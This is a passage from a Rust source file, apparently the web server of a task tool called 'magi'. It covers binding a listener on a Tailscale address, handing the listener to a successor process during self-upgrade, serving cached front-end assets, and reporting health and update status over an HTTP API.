1810/// and for a restart triggered from a phone that means the deck never comes
1811/// back with no terminal around to say why.
1812///
1813/// Bounded, and only for the one error a wait can fix: anything else fails at
1814/// once, because retrying it would turn a clear message into a silence.
1815async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1816    const WINDOW: Duration = Duration::from_secs(10);
1817    const GAP: Duration = Duration::from_millis(250);
1818
1819    let deadline = std::time::Instant::now() + WINDOW;
1820    let mut said = false;
1821    loop {
1822        match tokio::net::TcpListener::bind(socket).await {
1823            Ok(listener) => return Ok(listener),
1824            Err(e)
1825                if e.kind() == std::io::ErrorKind::AddrInUse
1826                    && std::time::Instant::now() < deadline =>
1827            {
1828                if !said {
1829                    said = true;
1830                    tracing::info!(
1831                        "{socket} is still held - waiting up to {}s for it, \
1832                         which is what a restart looks like from here",
1833                        WINDOW.as_secs()
1834                    );
1835                }
1836                tokio::time::sleep(GAP).await;
1837            }
1838            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1839        }
1840    }
1841}
1842
1843/// Signalled when an upgrade has replaced the binary and the successor should
1844/// take this address over. One per process: there is one address to hand on.
1845static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1846
1847/// Set to `1` on the successor when the loop was running at handover.
1848const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1849/// Keep a dynamically assigned listener address stable across replacement.
1850const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1851
1852/// Whether the environment value asks for the loop to be resumed.
1853fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1854    value.is_some_and(|v| v == "1")
1855}
1856
1857/// Start this binary again with the same arguments, detached.
1858///
1859/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1860/// so the address is already free when the successor binds it. The first
1861/// attempt at this spawned the successor two hundred milliseconds before
1862/// exiting instead, and the released binary - which has no bind retry - died
1863/// on "address already in use" with its stdio sent to null, so the deck
1864/// simply never came back.
1865///
1866/// Detached and without inherited stdio: the successor has to outlive this
1867/// process, and must not hold open a pipe a terminal is waiting on.
1868///
1869/// The scheduler is restarted separately; execution workers are not awaited.
1870///
1871/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1872/// than sent to null: a supervisor's redirection only ever held the first
1873/// generation's descriptors, so every later generation logged nowhere. The
1874/// pid of the child is returned so the handover log can name it.
1875fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1876    let args: Vec<String> = std::env::args().skip(1).collect();
1877    updater::log_step(
1878        home,
1879        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1880    );
1881    let log_path = home.join(WEB_LOG);
1882    let open_log = || {
1883        std::fs::create_dir_all(home)?;
1884        std::fs::OpenOptions::new()
1885            .create(true)
1886            .append(true)
1887            .open(&log_path)
1888    };
1889    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1890        Ok(pair) => (
1891            std::process::Stdio::from(pair.0),
1892            std::process::Stdio::from(pair.1),
1893        ),
1894        Err(e) => {
1895            updater::log_warn(
1896                home,
1897                &format!(
1898                    "could not open {}: {e}; the successor logs nowhere",
1899                    log_path.display()
1900                ),
1901            );
1902            (std::process::Stdio::null(), std::process::Stdio::null())
1903        }
1904    };
1905
1906    let mut cmd = std::process::Command::new(exe);
1907    cmd.env_remove(RESUME_LOOP_ENV);
1908    cmd.env(RESTART_PORT_ENV, port.to_string());
1909    cmd.args(&args)
1910        .stdin(std::process::Stdio::null())
1911        .stdout(out)
1912        .stderr(err);
1913    #[cfg(windows)]
1914    {
1915        use std::os::windows::process::CommandExt as _;
1916        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1917        // and Ctrl-C in the old terminal must not reach the successor.
1918        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1919    }
1920    let child = cmd.spawn().context("start the successor")?;
1921    Ok(child.id())
1922}
1923
1924/// File under `<home>` the successor's output is appended to.
1925const WEB_LOG: &str = "web.log";
1926
1927/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1928/// stored by an earlier `notify_one` is consumed by the first poll, so the
1929/// signal is never missed and never wakes a second time.
1930async fn wait_for_handover(signal: &Notify) {
1931    signal.notified().await;
1932}
1933
1934/// Serve the UI independently from scheduler and execution workers.
1935/// A restart releases its listener before starting the successor.
1936pub async fn serve(opts: Opts) -> Result<()> {
1937    // Capture before self-replacement: current_exe may later name a removed
1938    // image on Linux or the renamed old image on Windows.
1939    crate::worker::remember_current_executable()?;
1940    let executable = std::env::current_exe().context("find the installed web executable")?;
1941    let (addr, warning) = resolve_bind(&opts.bind);
1942    if let Some(warning) = warning {
1943        tracing::warn!("{warning}");
1944    }
1945
1946    // Process-global, and therefore set exactly once, here: the report route
1947    // must never emit escape sequences into a browser, and toggling the flag
1948    // per request would race with a concurrent request rendering its own
1949    // report. Startup is the only moment at which no request can observe the
1950    // change. Nothing in the server turns colour back on.
1951    report::set_color(false);
1952
1953    let repo = normalize_default_repo(opts.repo).await;
1954    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1955    // The listener and periodic checker share one upgrade gate and state.
1956    let home = ui.home.clone();
1957    let admissions = Arc::clone(&ui.admissions);
1958    // Settles a progress record a predecessor left non-terminal - either this
1959    // *is* the successor `spawn_successor` started, or the previous process
1960    // died mid-handover. Before the router starts answering, so the very
1961    // first `/api/health` a phone gets from this process already reflects it.
1962    updater::reconcile_after_restart(&home);
1963    updater::log_step(
1964        &home,
1965        &format!(
1966            "web process started (version {}); handover log {}, successor output {}",
1967            env!("CARGO_PKG_VERSION"),
1968            updater::log_path(&home).display(),
1969            home.join(WEB_LOG).display()
1970        ),
1971    );
1972    updater::spawn_watchdog(home.clone());
1973    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1974    // `spawn_update_check` does at startup only ever runs once: after that,
1975    // `/api/health`'s `update` field - and the phone's "Update & restart"
1976    // button, which reads the very same cache - would stay frozen on
1977    // whatever that single check found, no matter how many releases ship
1978    // afterwards. The periodic checker below keeps it current and is
1979    // cancelled when the listener finishes.
1980    let port = if opts.port == 0 {
1981        std::env::var(RESTART_PORT_ENV)
1982            .ok()
1983            .and_then(|value| value.parse::<u16>().ok())
1984            .filter(|port| *port != 0)
1985            .unwrap_or(0)
1986    } else {
1987        opts.port
1988    };
1989    let socket = SocketAddr::new(addr, port);
1990    let listener = bind_waiting(socket).await?;
1991    let bound = listener.local_addr().context("read bound web address")?;
1992    let port = bound.port();
1993    let url = format!("http://{bound}");
1994    tracing::info!(
1995        "magi web UI on {url} - there is no authentication, so anyone who can \
1996         reach this address can file and hold tasks: the tailnet is the \
1997         security boundary"
1998    );
1999    // A legacy predecessor may request first-migration scheduler startup.
2000    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2001        ui.start_detached_loop()
2002            .await
2003            .map_err(|e| anyhow::anyhow!(e.message))?;
2004    }
2005    if opts.open {
2006        // The URL alone on stdout, for a caller that wants to open it. magi
2007        // does not spawn a browser: on the machine this usually runs on there
2008        // is no display, and a failed launch would be the only output.
2009        println!("{url}");
2010    }
2011
2012    // On its own task, so nothing this function awaits can stop the address
2013    // being answered. `hand_over` is where it is given up.
2014    let recheck_ui = ui.clone();
2015    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2016    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2017    let interrupted = async {
2018        if tokio::signal::ctrl_c().await.is_err() {
2019            // No handler on this platform, so there is no signal to act on.
2020            // Never resolving is the safe answer: a failed registration must
2021            // not masquerade as the operator asking for a shutdown and take
2022            // the UI down on startup.
2023            std::future::pending::<()>().await;
2024        }
2025    };
2026    let handover = wait_for_handover(&HANDOVER);
2027    let outcome = tokio::select! {
2028        joined = &mut served => match joined {
2029            Ok(outcome) => outcome.context("serve the web UI"),
2030            Err(e) => Err(e).context("the task serving the web UI ended"),
2031        },
2032        () = interrupted => {
2033            recheck.abort();
2034            tracing::info!("shutting down the web UI; detached workers continue");
2035            close_admissions(&admissions).await;
2036            served.abort();
2037            let _ = served.await;
2038            Ok(())
2039        }
2040        () = handover => {
2041            recheck.abort();
2042            let successor_home = home.clone();
2043            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2044        }
2045    };
2046    recheck.abort();
2047    let _ = recheck.await;
2048    updater::log_step(
2049        &home,
2050        &match &outcome {
2051            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2052            Err(e) => format!("serve: returning an error: {e:#}"),
2053        },
2054    );
2055    outcome
2056}
2057
2058/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2059/// process's own working directory is not a git checkout at all - the
2060/// checkout [`repos::discover_verified`] finds instead.
2061///
2062/// Only the unmodified default is ever replaced: an operator who named a
2063/// directory outright, git checkout or not, gets exactly that directory
2064/// back, and the same story downstream (a talk whose briefing embeds a
2065/// non-git directory, and an agent that has to ask the operator where the
2066/// real repository is) that has always told them so - substituting a guess
2067/// for an explicit answer would be a second, silent opinion about what they
2068/// meant. There is no instruction or task text yet to match against this
2069/// early, so only [`repos::discover_verified`]'s own-repository tier can
2070/// ever settle this - the hint tier never fires here.
2071///
2072/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2073/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2074/// or a git installation that is broken in exactly the way that made the
2075/// original `canonical` check above fail too - so it is re-checked with
2076/// `git::toplevel` before it is ever used in place of the operator's own
2077/// directory.
2078async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2079    if repo != FsPath::new(".") {
2080        return repo;
2081    }
2082    let Ok(canonical) = repo.canonicalize() else {
2083        return repo;
2084    };
2085    if git::toplevel(&canonical).await.is_ok() {
2086        return repo;
2087    }
2088    let Some(home) = dirs::home_dir() else {
2089        return repo;
2090    };
2091    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2092        Some(found) => {
2093            tracing::info!(
2094                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2095                canonical.display(),
2096                found.path.display(),
2097                found.reason,
2098            );
2099            found.path
2100        }
2101        None => repo,
2102    }
2103}
2104
2105/// Close new ingress and finish only transactions publishing durable work.
2106/// The writer waits for owned admission guards, not task or chat turn leases.
2107async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2108    *admissions.write().await = true;
2109}
2110
2111/// Restart only the scheduler and web listener, never their execution workers.
2112/// The old listener must be fully released before the successor is started.
2113async fn hand_over(
2114    home: &FsPath,
2115    admissions: &tokio::sync::RwLock<bool>,
2116    served: tokio::task::JoinHandle<std::io::Result<()>>,
2117    successor: impl FnOnce() -> Result<u32>,
2118) -> Result<()> {
2119    close_admissions(admissions).await;
2120    if let Some(mut progress) = updater::read_progress(home) {
2121        progress.advance(updater::Stage::Restarting);
2122        progress.detail =
2123            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2124        updater::write_progress_logged(home, &progress);
2125    }
2126    updater::log_step(
2127        home,
2128        "restarting scheduler without parking execution workers",
2129    );
2130    let scheduler = daemon::restart_detached(home).await;
2131    if let Err(error) = &scheduler {
2132        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2133        updater::log_warn(
2134            home,
2135            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2136        );
2137    }
2138    updater::log_step(home, "releasing the web listener");
2139    served.abort();
2140    let _ = served.await;
2141    updater::log_step(home, "web listener released; starting the successor");
2142    match successor() {
2143        Ok(pid) => {
2144            updater::log_step(home, &format!("successor started, pid {pid}"));
2145            scheduler
2146        }
2147        Err(e) => {
2148            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2149            Err(e)
2150        }
2151    }
2152}
2153
2154/// Resolve `--bind` to an address, plus a warning when the answer is not what
2155/// the operator asked for.
2156///
2157/// Split out from [`serve`] because the interesting half - deciding whether
2158/// Tailscale gave us something usable - is testable without opening a socket.
2159pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2160    match bind {
2161        Bind::Addr(addr) => (*addr, None),
2162        Bind::Auto => match tailscale_ip() {
2163            Ok(ip) => (IpAddr::V4(ip), None),
2164            Err(why) => (
2165                IpAddr::V4(Ipv4Addr::LOCALHOST),
2166                Some(format!(
2167                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2168                     local-only and a phone cannot reach it; start Tailscale \
2169                     or pass --bind <addr>"
2170                )),
2171            ),
2172        },
2173    }
2174}
2175
2176/// This machine's Tailscale IPv4, or why there is not one.
2177///
2178/// `tailscale ip -4` is a local call against the running daemon and returns in
2179/// milliseconds, so it is fine to make it synchronously before the server
2180/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2181/// CGNAT block Tailscale assigns from, and anything else on that output would
2182/// be a different tool answering.
2183fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2184    let out = std::process::Command::new("tailscale")
2185        .args(["ip", "-4"])
2186        .quiet()
2187        .output()
2188        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2189    if !out.status.success() {
2190        let why = String::from_utf8_lossy(&out.stderr);
2191        let why = why.trim();
2192        return Err(format!(
2193            "`tailscale ip -4` failed ({}){}",
2194            out.status,
2195            if why.is_empty() {
2196                String::new()
2197            } else {
2198                format!(": {why}")
2199            }
2200        ));
2201    }
2202    String::from_utf8_lossy(&out.stdout)
2203        .lines()
2204        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2205        .find(is_tailnet)
2206        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2207}
2208
2209/// Is this address in the CGNAT block Tailscale hands out from?
2210fn is_tailnet(ip: &Ipv4Addr) -> bool {
2211    let o = ip.octets();
2212    o[0] == 100 && (64..=127).contains(&o[1])
2213}
2214
2215/// What every handler returns. Spelled out because `Result` in this crate is
2216/// `anyhow::Result`, and a handler's error is a status code as much as a
2217/// message.
2218type ApiResult<T> = std::result::Result<T, ApiError>;
2219
2220/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2221#[derive(Debug)]
2222struct ApiError {
2223    status: StatusCode,
2224    message: String,
2225    text_reason: Option<crate::question_delivery::UnavailableReason>,
2226}
2227
2228impl ApiError {
2229    /// The client asked for something malformed.
2230    fn bad_request(message: impl Into<String>) -> Self {
2231        Self {
2232            text_reason: None,
2233            status: StatusCode::BAD_REQUEST,
2234            message: message.into(),
2235        }
2236    }
2237
2238    /// No such run or task.
2239    fn not_found(message: impl Into<String>) -> Self {
2240        Self {
2241            text_reason: None,
2242            status: StatusCode::NOT_FOUND,
2243            message: message.into(),
2244        }
2245    }
2246
2247    /// Someone else owns the thing the client wants to change.
2248    /// Re-badge an error whose default mapping is wrong for this route.
2249    fn with_status(mut self, status: StatusCode) -> Self {
2250        self.status = status;
2251        self
2252    }
2253
2254    /// A rules violation from a domain type, reported as the caller's fault.
2255    /// `Question::answer` rejects an unoffered choice, and that is a bad
2256    /// request, not a server error.
2257    fn bad_request_from(e: anyhow::Error) -> Self {
2258        Self::bad_request(format!("{e:#}"))
2259    }
2260
2261    fn conflict(message: impl Into<String>) -> Self {
2262        Self {
2263            text_reason: None,
2264            status: StatusCode::CONFLICT,
2265            message: message.into(),
2266        }
2267    }
2268
2269    /// Our fault, or the disk's.
2270    fn internal(message: impl Into<String>) -> Self {
2271        Self {
2272            text_reason: None,
2273            status: StatusCode::INTERNAL_SERVER_ERROR,
2274            message: message.into(),
2275        }
2276    }
2277}
2278
2279impl From<anyhow::Error> for ApiError {
2280    /// Errors from `queue` and `run` carry their context chain, and the whole
2281    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2282    /// value at line 3" is a message an operator can act on, and there is no
2283    /// secret in a path on a single-user tailnet.
2284    fn from(e: anyhow::Error) -> Self {
2285        Self::internal(format!("{e:#}"))
2286    }
2287}
2288
2289impl IntoResponse for ApiError {
2290    fn into_response(self) -> Response {
2291        let mut body = serde_json::json!({ "error": self.message });
2292        if let Some(reason) = self.text_reason {
2293            body["code"] = serde_json::json!("question_text_unavailable");
2294            body["reason"] = serde_json::json!(reason);
2295        }
2296        (self.status, Json(body)).into_response()
2297    }
2298}
2299
2300/// Run a handler's filesystem work off the executor.
2301///
2302/// Every route that touches the disk goes through here rather than each one
2303/// arguing about whether its own read is small enough. Uniform because the
2304/// expensive case is not rare: `run.json` for a finished competition holds
2305/// every judgement, deliberation turn and review round, so listing a few
2306/// hundred runs is megabytes of parsing, and the executor threads doing it are
2307/// the same ones serving the change stream of every other connected phone.
2308async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2309where
2310    T: Send + 'static,
2311{
2312    #[cfg(test)]
2313    let job = request_cost::carry(job);
2314    match tokio::task::spawn_blocking(job).await {
2315        Ok(result) => result,
2316        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2317    }
2318}
2319
2320/// Bulk readers have a bounded, separate execution lane. A cold health
2321/// index or multiple slow list clients cannot occupy the pool serving detail.
2322async fn bulk_blocking<T>(
2323    slots: Arc<tokio::sync::Semaphore>,
2324    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2325) -> ApiResult<T>
2326where
2327    T: Send + 'static,
2328{
2329    let permit = slots
2330        .acquire_owned()
2331        .await
2332        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2333    let (send, receive) = tokio::sync::oneshot::channel();
2334    #[cfg(test)]
2335    let job = request_cost::carry(job);
2336    let runtime = tokio::runtime::Handle::current();
2337    std::thread::Builder::new()
2338        .name("web-bulk".into())
2339        .spawn(move || {
2340            let _permit = permit;
2341            // Capacity observations schedule their independent blocking job.
2342            let _runtime = runtime.enter();
2343            let _ = send.send(job());
2344        })
2345        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2346    receive
2347        .await
2348        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2349}
2350
2351/// Cache policy for the three compiled-in front-end files.
2352///
2353/// The whole interface is `include_str!`ed into the binary, so its content
2354/// changes only when the binary does - and a phone that keeps a copy is
2355/// welcome to, right up until the deck is replaced. Without a single cache
2356/// header, browsers were free to invent their own policy, and one did:
2357/// yukimemi's phone went on showing "Candidates must be folded before
2358/// deleting. Run `magi fold` first." - a sentence deleted two releases
2359/// earlier - from a run detail served by a deck that no longer contained it.
2360/// The delete button he was told about was right there, and unreachable.
2361///
2362/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2363/// every time, the answer is a 304 costing one small round trip while the
2364/// deck is unchanged, and the moment it is replaced the tag differs and the
2365/// new interface arrives. Correctness over bytes - this is one file of a few
2366/// tens of kilobytes on a tailnet, and being a version behind is not a
2367/// cosmetic problem when the difference is whether a button exists.
2368const ASSET_CACHE: &str = "no-cache, must-revalidate";
2369
2370/// `ETag` for the compiled-in assets, distinct per build.
2371///
2372/// The version alone would leave a locally built deck - `cargo install
2373/// --path .` twice at the same version, which is the normal way to iterate -
2374/// serving a stale tag for changed bytes. The build timestamp is what makes
2375/// two builds of `0.3.0` differ.
2376fn asset_etag() -> &'static str {
2377    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2378        format!(
2379            "\"{}-{}\"",
2380            env!("CARGO_PKG_VERSION"),
2381            // Length is a cheap, deterministic stand-in for a hash: the
2382            // three files are compiled in together, so any edit to any of
2383            // them almost certainly changes the total, and a rebuild is what
2384            // this needs to track rather than every possible byte pattern.
2385            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2386        )
2387    });
2388    &TAG
2389}
2390
2391/// Headers for a compiled-in asset of `mime`.
2392fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2393    [
2394        (header::CONTENT_TYPE, mime),
2395        (header::CACHE_CONTROL, ASSET_CACHE),
2396        (header::ETAG, asset_etag()),
2397    ]
2398}
2399
2400/// Serve a compiled-in asset, answering `304` when the client already has it.
2401///
2402/// axum does not compare `If-None-Match` for us, and a header the server sets
2403/// but never honours is worse than none: the phone revalidates on every load
2404/// and is handed the whole file back each time. Doing the comparison is what
2405/// makes `must-revalidate` cost one small round trip rather than the
2406/// interface.
2407fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2408    let tag = asset_etag();
2409    let known = headers
2410        .get(header::IF_NONE_MATCH)
2411        .and_then(|v| v.to_str().ok())
2412        // A revalidating client may send several, and a proxy may weaken the
2413        // tag to `W/"..."`; matching on containment covers both without
2414        // parsing the grammar.
2415        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2416    if known {
2417        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2418    }
2419    (asset_headers(mime), body).into_response()
2420}
2421
2422async fn index(headers: header::HeaderMap) -> Response {
2423    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2424}
2425
2426async fn app_css(headers: header::HeaderMap) -> Response {
2427    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2428}
2429
2430async fn app_js(headers: header::HeaderMap) -> Response {
2431    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2432}
2433
2434/// What `/api/health` answers.
2435#[derive(Debug, Serialize)]
2436struct HealthView {
2437    version: &'static str,
2438    home: String,
2439    queue_rev: u64,
2440    runs_rev: u64,
2441    /// The same revisions [`events`] streams for the question and talk
2442    /// stores.
2443    ///
2444    /// Here because this route is what the front end falls back to when the
2445    /// change stream is not up - it re-polls health on a timer and on wake, and
2446    /// takes the revisions from the answer. Without these the fallback
2447    /// compares `undefined` against `undefined` for both stores, decides
2448    /// nothing moved, and a phone with a dead stream never learns that a
2449    /// question was asked or that a talk took a turn. `queue_rev` and
2450    /// `runs_rev` above have always been here for exactly this reason; the rule
2451    /// is that every revision the stream carries, this route carries too.
2452    questions_rev: u64,
2453    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2454    talks_rev: u64,
2455    /// See [`HealthView::questions_rev`]. The notification centre's store.
2456    notifications_rev: u64,
2457    /// Notifications nobody has read yet: the bell's badge before
2458    /// `/api/notifications` has answered.
2459    notifications_unread: usize,
2460    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2461    /// is not on disk anywhere, so a phone with no change stream has no other
2462    /// way to notice that the loop it is waiting on was started from another
2463    /// device.
2464    loop_rev: u64,
2465    /// Runs on disk whose state this build cannot parse - almost always a
2466    /// schema bump, occasionally a run killed mid-write.
2467    ///
2468    /// Reported because the list silently skips them, and "no competitions
2469    /// yet" is a lie when six of them are sitting in the runs directory. The
2470    /// terminal deck learned the same lesson: a run that fails to parse must
2471    /// not disappear from the count.
2472    runs_unreadable: usize,
2473    /// The disk, and what the runs and their worktrees occupy on it.
2474    ///
2475    /// This is the incident the janitor exists for: magi alone put 30 GB into
2476    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2477    /// is exactly where the operator learns "the disk is the constraint" -
2478    /// the diagnosis that a run is being held for want of space has to be
2479    /// checkable on the same screen.
2480    disk: Option<serde_json::Value>,
2481    /// Questions nobody has answered yet, including ones an owner talked
2482    /// back on and is now waiting for the agent's reply to. A round trip
2483    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2484    /// while the ball is in the agent's court - see
2485    /// [`crate::ask::Questions::count_open`].
2486    questions_open: usize,
2487    /// Of those, how many actually need the owner right now: open, and not
2488    /// [`crate::ask::Question::waiting_on_agent`].
2489    ///
2490    /// The one number that means "nothing will happen until a human acts" -
2491    /// a parked run consumes nothing and progresses never - and the count the
2492    /// ask bar, the nav badge and the document title fall back to before
2493    /// `/api/questions` has answered, so those notification channels clear
2494    /// the instant the owner asks back and reappear the instant the agent
2495    /// replies, instead of sitting lit for however long the agent thinks.
2496    questions_needs_owner: usize,
2497    daemon: DaemonView,
2498    /// The independently controllable scheduler, as `/api/loop` reports it.
2499    ///
2500    /// Here so a phone that has just woken needs one request to know whether
2501    /// anything is going to happen at all: `daemon` says a loop is alive
2502    /// somewhere, and this says whether it is one this UI can stop.
2503    #[serde(rename = "loop")]
2504    looping: LoopView,
2505    /// Whether a release newer than this build is known, and which.
2506    ///
2507    /// From [`updater::Checker::cached_update`] - the same throttled state the
2508    /// CLI's `notify` mode banners from - never a live check: this route is
2509    /// polled every few seconds, and a live check on each poll would spend
2510    /// GitHub's rate limit before the operator finished reading the strip.
2511    update: UpdateView,
2512    /// The self-upgrade this deck last set in motion, or `null` before the
2513    /// first one. Read off disk, so the successor can report what its
2514    /// predecessor started.
2515    upgrade: Option<UpgradeProgressView>,
2516    /// Detached jobs survive replacement of this web process. Each reports
2517    /// its own immutable executable generation rather than the web version.
2518    jobs: Vec<WorkerView>,
2519    upgrade_request_error: Option<UpgradeRequestFailure>,
2520}
2521
2522/// Public execution metadata only. Job payloads contain private configuration
2523/// and must never be returned by the health endpoint.
2524#[derive(Debug, Serialize)]
2525struct WorkerView {
2526    id: String,
2527    kind: String,
2528    key: String,
2529    pid: Option<u32>,
2530    status: crate::worker::Status,
2531    generation: String,
2532    version: Option<String>,
2533    queue_owned: bool,
2534}
2535
2536impl From<crate::worker::Job> for WorkerView {
2537    fn from(job: crate::worker::Job) -> Self {
2538        let queue_owned = job.kind == "task"
2539            && job
2540                .payload
2541                .get("standalone")
2542                .and_then(serde_json::Value::as_bool)
2543                != Some(true);
2544        Self {
2545            id: job.id,
2546            kind: job.kind,
2547            key: job.key,
2548            pid: job.pid,
2549            status: job.status,
2550            generation: job.generation,
2551            version: job.version,
2552            queue_owned,
2553        }
2554    }
2555}
2556
2557/// What `/api/health` knows about a release newer than this build.
2558///
2559/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2560/// is already the newest" from "never checked" - both are `None` - and the
2561/// phone needs to tell those apart to decide whether the deck can be trusted
2562/// to have an opinion at all.
2563#[derive(Debug, Clone, Serialize)]
2564struct UpdateView {
2565    /// A newer release is known to exist.
2566    available: bool,
2567    /// Its tag, when `available`.
2568    to: Option<String>,
2569}
2570
2571/// [`updater::Progress`] as `/api/health` reports it.
2572#[derive(Debug, Serialize)]
2573struct UpgradeProgressView {
2574    trigger: updater::UpgradeTrigger,
2575    stage: updater::Stage,
2576    from: String,
2577    to: Option<String>,
2578    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2579    /// the step it is finishing before the address is handed over.
2580    waiting_on: Option<String>,
2581    started_at: Timestamp,
2582    updated_at: Timestamp,
2583    detail: Option<String>,
2584    /// Seconds the stage has outlived its allowance, when it has - see
2585    /// [`updater::stall`]. `null` while the stage is moving normally.
2586    stuck_for_secs: Option<i64>,
2587    /// Which kind of stuck: `never_entered` (hand_over left no record of
2588    /// starting) or `stopped_beating`. `null` when not stuck.
2589    stuck_kind: Option<updater::StallKind>,
2590    /// `hand_over` is alive and waiting on the loop: however long that takes,
2591    /// it is not an overdue upgrade.
2592    handover_alive: bool,
2593}
2594
2595/// Whether [`run_update_recheck`] may act at all this tick.
2596///
2597/// The same two conditions [`updater::Checker::new`] and
2598/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2599/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2600/// GitHub from this process" - on a button press or on a timer alike.
2601fn should_spawn_recheck(cfg: &Update) -> bool {
2602    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2603}
2604
2605/// Whether this tick should actually reach the network, once checking itself
2606/// is allowed.
2607///
2608/// An upgrade already in flight must not be raced by a check that discovers
2609/// a *newer* release while one is still installing - a phone watching
2610/// `/api/health` would see the answer change out from under the upgrade it
2611/// already asked for. Past that, [`updater::Checker::should_check`] is the
2612/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2613/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2614/// polling period, is what keeps this task's network use to at most once per
2615/// `[update] interval` regardless of how often it wakes up.
2616fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2617    if progress.is_some_and(|p| !p.stage.terminal()) {
2618        return false;
2619    }
2620    checker.should_check()
2621}
2622
2623/// How long [`run_update_recheck`] sleeps before its next wake-up.
2624///
2625/// A fraction of the configured `[update] interval` rather than a fixed
2626/// number: a fixed sleep longer than a short custom interval would leave the
2627/// deck waiting on its own wake-up rather than on `should_check`, so an
2628/// operator who set `interval = "1m"` to make the UI catch up quickly would
2629/// not see that take effect until the next restart - exactly the bug this
2630/// task exists to fix, just moved one level down. Scaling with the interval
2631/// keeps the wake-up prompt relative to what was actually configured, while
2632/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2633/// still what caps the network calls themselves at one per interval,
2634/// regardless of how often this fires.
2635fn recheck_poll_period(cfg: &Update) -> Duration {
2636    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2637}
2638
2639#[derive(Debug, PartialEq, Eq)]
2640enum AutoUpgradeDecision {
2641    Skip(&'static str),
2642    Wait,
2643    Trigger,
2644}
2645
2646fn auto_upgrade_decision(
2647    cfg: &Update,
2648    disabled: bool,
2649    in_motion: bool,
2650    busy: bool,
2651    tag: &str,
2652    failed: Option<&str>,
2653) -> AutoUpgradeDecision {
2654    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2655        AutoUpgradeDecision::Skip("disabled")
2656    } else if in_motion {
2657        AutoUpgradeDecision::Skip("upgrade already in progress")
2658    } else if failed == Some(tag) {
2659        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2660    } else if busy {
2661        AutoUpgradeDecision::Wait
2662    } else {
2663        AutoUpgradeDecision::Trigger
2664    }
2665}
2666
2667/// Refresh the shared cache and optionally request the same handover as the UI.
2668async fn run_update_recheck(ui: Arc<Ui>) {
2669    loop {
2670        let cfg = match Config::discover(&ui.repo, None) {
